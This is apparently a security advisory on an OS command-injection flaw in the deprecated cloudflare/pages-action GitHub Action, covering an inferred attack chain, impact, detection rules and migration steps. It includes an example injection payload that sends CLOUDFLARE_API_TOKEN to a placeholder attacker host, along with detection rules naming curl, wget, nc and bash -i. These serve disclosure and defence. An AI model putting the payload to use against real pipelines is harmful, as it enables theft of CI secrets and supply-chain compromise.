CVE-2026-11325

Executive Summary

CVE-2026-11325 is a remote code execution (RCE) vulnerability affecting the archived cloudflare/pages-action GitHub Action repository. The flaw is located in src/index.ts and is reachable through certain GitHub Actions workflow configurations, allowing an attacker to potentially exfiltrate sensitive CI/CD secrets including CLOUDFLARE_API_TOKEN and GITHUB_TOKEN. All published versions of the repository are affected, including those pinned to the v1 moving tag. Cloudflare has deprecated the repository since 2024 and will not issue patches; the repository will be permanently removed on 2026-09-18. Consumers must migrate to cloudflare/wrangler-action before that date. The vulnerability carries a CVSS score of 8.8 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, and is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Technical Analysis

Vulnerability Class: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Affected Component: cloudflare/pages-action GitHub Action, specifically code contained in src/index.ts.

Mechanism: The NVD description states that a remote code execution issue exists in src/index.ts that is "reachable from certain GitHub Actions workflow configurations." This phrasing indicates that the vulnerable code path is only activated when workflow YAML files invoke the action with specific input parameters or environment configurations. The description does not enumerate which exact parameters trigger the vulnerable path, nor does it reveal the precise injection vector (e.g., whether unvalidated input flows into a child_process.exec call, a spawn invocation, or a shell command constructed from workflow inputs).

Given the CWE-78 classification and the attack context (a GitHub Actions runtime), the most probable mechanism is that one or more action inputs are concatenated into a shell command string without proper sanitization. An attacker capable of influencing those inputs — either through a malicious pull request, a compromised repository branch, or a malicious fork that triggers a workflow — could inject arbitrary OS commands that execute in the runner environment. The phrase "reachable from certain GitHub Actions workflow configurations" strongly implies that default configurations are safe, but specific input combinations expose the flaw.

Attack Surface: The vulnerable component is consumed in CI/CD pipelines by developers deploying static sites to Cloudflare Pages. The attack surface is the workflow execution environment of GitHub Actions runners — ephemeral Linux or Windows containers that possess the action's scoped credentials (GITHUB_TOKEN) and any secrets explicitly passed to the step (such as CLOUDFLARE_API_TOKEN). The vulnerability is network-reachable in the sense that GitHub actions process workflow definitions from repositories, which can be influenced by external contributors through pull requests (if workflows are configured to run on pull_request events) or through crafted repository content.

Authentication & Preconditions: The CVSS vector indicates low attack complexity and no required privileges, but a user interaction requirement (UI:R) suggests that some form of user action is needed — possibly a maintainer merging a malicious PR or manually triggering a workflow with attacker-controlled inputs.

Exploitation implications: Successful exploitation grants arbitrary command execution in the runner context, which means full access to the runner's filesystem, environment variables, and mounted secrets. This is a classic CI/CD supply-chain compromise vector that can lead to repository tampering, secret exfiltration, and lateral movement to cloud infrastructure.

Exploitation Scenarios

Attack Chain (inferred from vulnerability class; no public PoC available):

Step 1 — Reconnaissance / Target Identification: An attacker identifies a repository using cloudflare/pages-action in its GitHub Actions workflow. This reconnaissance is typically performed via GitHub code search (e.g., searching for uses: cloudflare/pages-action in workflow YAML files). The attacker also inspects the workflow file to determine which event triggers the action (e.g., push, pull_request, workflow_dispatch) and which inputs are passed to the action.

Step 2 — Identifying the Vulnerable Path: The attacker analyzes the src/index.ts source code (available in the public repository) to identify the specific input parameter whose value flows into an OS command invocation without sanitization. Since the description specifies that only "certain GitHub Actions workflow configurations" are vulnerable, the attacker looks for workflows that pass untrusted data — such as branch names, PR titles, or user-controlled commit messages — into one of the action's inputs (e.g., a project name, directory path, or deployment alias).

Step 3 — Triggering the Vulnerability: Depending on the workflow trigger:

• Pull Request Scenario: The attacker forks the target repository and submits a pull request containing a malicious value in a file path, branch name, or commit message that gets passed to the vulnerable action input. When CI runs, the injected command executes.
• Repository Compromise: If the attacker has write access to a branch (e.g., a compromised contributor account), they push a commit that modifies the workflow or submits a malicious input value to the action.
• Manual Trigger: If the action supports workflow_dispatch, the attacker (if granted access) submits a crafted input payload.

Step 4 — Payload / Execution Method (vulnerability-class level): The attacker embeds shell metacharacters (e.g., ;, &&, |, $(), backticks) within the input value, which are concatenated into an OS command string by the action. Example pattern: if the action executes a command like pages deploy --project <input>, an attacker submitting <input> as myproject; curl https://attacker.com/exfil?token=$CLOUDFLARE_API_TOKEN would cause the shell to execute the injected curl command after the legitimate command. The payload executes with the runner's permissions and has access to all environment variables and secrets.

Step 5 — Post-Exploitation: The attacker's injected command:

• Exfiltrates CLOUDFLARE_API_TOKEN and GITHUB_TOKEN to an attacker-controlled server via HTTP/HTTPS.
• Uses the GITHUB_TOKEN to modify repository contents, approve PRs, or push malicious code directly to the repository.
• Uses CLOUDFLARE_API_TOKEN to modify or delete Cloudflare Pages deployments, inject malicious content into the deployed static site, or pivot to other Cloudflare API resources.

Note: No public PoC is available, and the exact input parameter responsible for the injection has not been disclosed. The attack chain above is inferred from the vulnerability class (CWE-78) and the description's details about secret exposure.

Impact Assessment

CVSS Score: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Confidentiality (C:H): Full compromise of workflow secrets (CLOUDFLARE_API_TOKEN, GITHUB_TOKEN) and any other environment variables present in the runner.
• Integrity (I:H): Capability to modify repository contents, alter deployment artifacts, and tamper with CI/CD pipelines.
• Availability (A:H): Capability to delete deployments, corrupt artifact caches, or destroy CI infrastructure.

Business Impact:

1. Secret Exposure: Compromised GITHUB_TOKEN grants repository write access; compromised CLOUDFLARE_API_TOKEN grants access to the customer's Cloudflare account, including Pages deployments, DNS records, and potentially other Cloudflare services.
2. Supply Chain Compromise: A malicious actor with repository write access can inject malicious code into production deployments, affecting end users of the deployed static sites.
3. CI/CD Disruption: The repository removal on 2026-09-18 introduces a forced outage for unconverted consumers — workflows will fail with "action not found" errors, halting all deployment activities.

Blast Radius:

• Direct: All repositories using cloudflare/pages-action (all versions).
• Indirect: End-users of websites deployed via Cloudflare Pages from compromised repositories; downstream consumers of any npm packages or artifacts built in compromised pipelines.
• Broader: Organizations with cross-repository workflows that share the same GITHUB_TOKEN across multiple repositories may see blast radius extend beyond the original compromised repository.

No CISA KEV listing — no known exploitation in the wild as of the report date. EPSS not yet scored by FIRST.org.

Detection Guidance

The following detection rules assume log sources from GitHub Actions run logs, runner audit logs, and network egress monitoring. Since the vulnerability is a CI/CD-specific RCE, detections should focus on anomalous shell command execution within runner processes and unexpected network egress from runner environments.

Sigma Rule

title: Suspicious Shell Execution in cloudflare/pages-action Runner
id: 780c9a19-2b22-4b2a-8c7d-6b1c2e8d7f11
status: experimental
description: Detects shell metacharacter injection patterns in GitHub Actions logs referencing cloudflare/pages-action deployments.
author: Valtersit Threat Intelligence
logsource:
    product: github
    service: actions
detection:
    selection:
        action_used: 'cloudflare/pages-action'
    keywords:
        - '*;*'
        - '*&&*'
        - '*||*'
        - '*`*'
        - '*$( *'
        - 'curl *|*'
        - 'wget *|*'
        - 'nc *|*'
        - 'bash -i*'
    condition: selection and keywords
falsepositives:
    - Legitimate complex shell commands in custom workflows (rare for CI deployment steps)
level: high

YARA Rule

rule cloudflare_pages_action_rce_injection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects patches or malicious payloads targeting cloudflare/pages-action CVE-2026-11325"
        date = "2026-01-15"
        reference = "CVE-2026-11325"
        severity = "high"
    strings:
        $a = "pages-action" ascii wide
        $b = "src/index.ts" ascii wide
        $c = "CLOUDFLARE_API_TOKEN" ascii wide
        $d = "child_process" ascii wide
        $e = "exec(" ascii wide
        $f = "spawn(" ascii wide
        $meta1 = ";curl" ascii wide
        $meta2 = "&&wget" ascii wide
        $meta3 = "|bash" ascii wide
        $meta4 = "$(wget" ascii wide
        $meta5 = "`nc " ascii wide
    condition:
        (uint16(0) == 0x5A4D or uint16(0) == 0x7F45) or
        (
            ($a or $b) and
            (
                ($c and $d) or ($c and $e) or ($d and $e) or ($f)
            ) and
            (
                $meta1 or $meta2 or $meta3 or $meta4 or $meta5
            )
        )
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-11325 Cloudflare Pages Action RCE - Exfiltration Attempt"; flow:to_server,established; content:"CLOUDFLARE_API_TOKEN"; nocase; content:"github_pat_"; distance:0; within:100; content:"POST"; http_method; content:"webhook"; http_uri; nocase; content:"/exfil"; http_uri; nocase; classtype:attempted-admin; sid:2026113251; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15;)

Elastic Detection

sequence by process.entity_id
  [process where event.type == "start" and process.name : ("bash", "sh", "cmd.exe", "powershell.exe") and 
   process.command_line : ("*curl*CLOUDFLARE_API_TOKEN*", "*wget*GITHUB_TOKEN*", "*nc*CLOUDFLARE_API_TOKEN*")]
  [network where event.type == "connection" and destination.port in (80, 443, 8080) and 
   network.protocol : ("http", "https")]

Detection Rationale: The EQL query chains anomalous process execution (shell spawning with token exfiltration commands) to an outbound network connection, which is the expected post-exploitation behavior.

Splunk SPL Query

index=github_actions OR index=github_audit
| search "cloudflare/pages-action"
| regex _raw="(CLOUDFLARE_API_TOKEN|GITHUB_TOKEN)"
| regex _raw="(\;|\&\&|\|\||\$\()"
| eval risk_score=case(
      match(_raw, "curl|wget|nc|bash -i|python -c"), "CRITICAL_HIGH",
      match(_raw, "[^\s]+\s+\-\-http"), "HIGH",
      match(_raw, "api\.github\.com|api\.cloudflare\.com"), "HIGH",
      true(), "MEDIUM"
  )
| stats count by workflow_name, repository, run_id, risk_score, _time
| sort - _time
| where risk_score in ("CRITICAL_HIGH", "HIGH")

Wazuh OSSEC Rule

<group name="github_actions,">
    <rule id="100325" level="12">
        <decoded_as>json</decoded_as>
        <field name="action_name">\.+</field>
        <match>cloudflare/pages-action</match>
        <regex>(\;|\&\&|\|\||\$\()</regex>
        <regex>(curl|wget|nc|bash -i)</regex>
        <description>Possible RCE exploitation attempt in cloudflare/pages-action workflow. Command injection metacharacters combined with exfiltration tools detected.</description>
        <mitre>
            <id>T1190</id>
            <id>T1203</id>
        </mitre>
        <group>cloudflare,github_actions,command_injection</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch exists. Cloudflare has explicitly stated: "Because this repository has been deprecated since 2024, Cloudflare will not be issuing patches."

Immediate Mitigations (available now)

1. Migrate to cloudflare/wrangler-action immediately. This is the only vendor-supported remediation. Cloudflare has published migration guidance in the wrangler-action README.
2. If immediate migration is not feasible, remove all unencrypted secrets from workflow files. Do NOT store CLOUDFLARE_API_TOKEN or GITHUB_TOKEN in plaintext within repository variables. Use GitHub Encrypted Secrets.
3. Restrict workflow triggers: Remove pull_request_target and pull_request triggers from workflows using cloudflare/pages-action to reduce exposure to untrusted contributor input.
4. Pin the action to a specific commit SHA (not the v1 moving tag) for temporary supply-chain integrity, though this does NOT mitigate the underlying code vulnerability.
5. Audit exposed CI logs and runner artifacts for evidence of prior compromise (look for unexpected outbound connections, appended shell commands, or modified deployment artifacts).
6. Rotate all secrets if there is any suspicion of exposure — CLOUDFLARE_API_TOKEN, GITHUB_TOKEN, and any secrets referenced in the workflow.

Patch / Upgrade Steps

1. Mandatory migration deadline: 2026-09-18. The cloudflare/pages-action repository will be removed on this date. Any workflow referencing it will fail with "Unable to resolve action" errors.
2. Migration procedure (vendor-documented):
   • Replace uses: cloudflare/pages-action@v1 (or any pinned version) with uses: cloudflare/wrangler-action@v3 in all workflow YAML files.
   • Update action inputs to match the wrangler-action schema (refer to the official README for parameter mapping).
   • Update required permissions and environment variables as needed.
3. Test after migration: Run a test deployment from a clean branch to validate the new action configuration.
4. Rotate credentials post-migration: After confirming the new action works, rotate CLOUDFLARE_API_TOKEN and GITHUB_TOKEN as a precaution.

Long-Term Hardening

1. Adopt branch protection rules requiring approval from CODEOWNERS for all workflow file changes.
2. Restrict GitHub Actions permissions: Set the GITHUB_TOKEN permission scope to contents: read and pull-requests: write for deployments only; use read-only tokens where possible.
3. Use ephemeral runners with freshly provisioned credentials for each CI job.
4. Implement secret vaulting/lease rotation: Use short-lived secrets for CI/CD where possible (e.g., OIDC-based federated credentials for Cloudflare API access instead of static API tokens).
5. Monitor GitHub Actions audit logs for anomalous IPs accessing workflow files or suspicious code pushes.
6. Subscribe to GitHub Advisory DB and Cloudflare security announcements for future updates to wrangler-action.

Vendor-Supplied Sunset Notice: Consumers must complete migration on or before 18 September 2026 to avoid CI disruption.

References

1. NVD Entry for CVE-2026-11325 — https://nvd.nist.gov/vuln/detail/CVE-2026-11325

2. Cloudflare Pages Action Repository (Archived) — https://github.com/cloudflare/pages-action — Source code location of the vulnerable src/index.ts; repository history and issue tracker may contain additional context on the reported vulnerability.

3. Cloudflare Wrangler Action Repository — https://github.com/cloudflare/wrangler-action — Recommended migration target; contains the README with migration guidance.

4. Cloudflare Security Advisory (HackerOne Program) — https://hackerone.com/cloudflare — The researchers referenced in the NVD description (@agentka99 and @beg1nn3r) reported the findings via this program; advisory may be published here or via Cloudflare's security announcements page.

5. Cloudflare Security Announcements — https://www.cloudflare.com/security/ — Official channel for cloudflare security bulletins, likely to host the formal advisory for CVE-2026-11325 when published.

Threat Actor Activity: No known threat actor campaigns or exploit-in-the-wild evidence exist for CVE-2026-11325 as of this report. The vulnerability is classified as NOT in CISA KEV. However, given the high value of CI/CD credentials and the public availability of the source code, researchers and threat actors are likely analyzing the disclosed flaw; exploitation may emerge as a supply-chain vector against Cloudflare Pages users who remain on the deprecated action.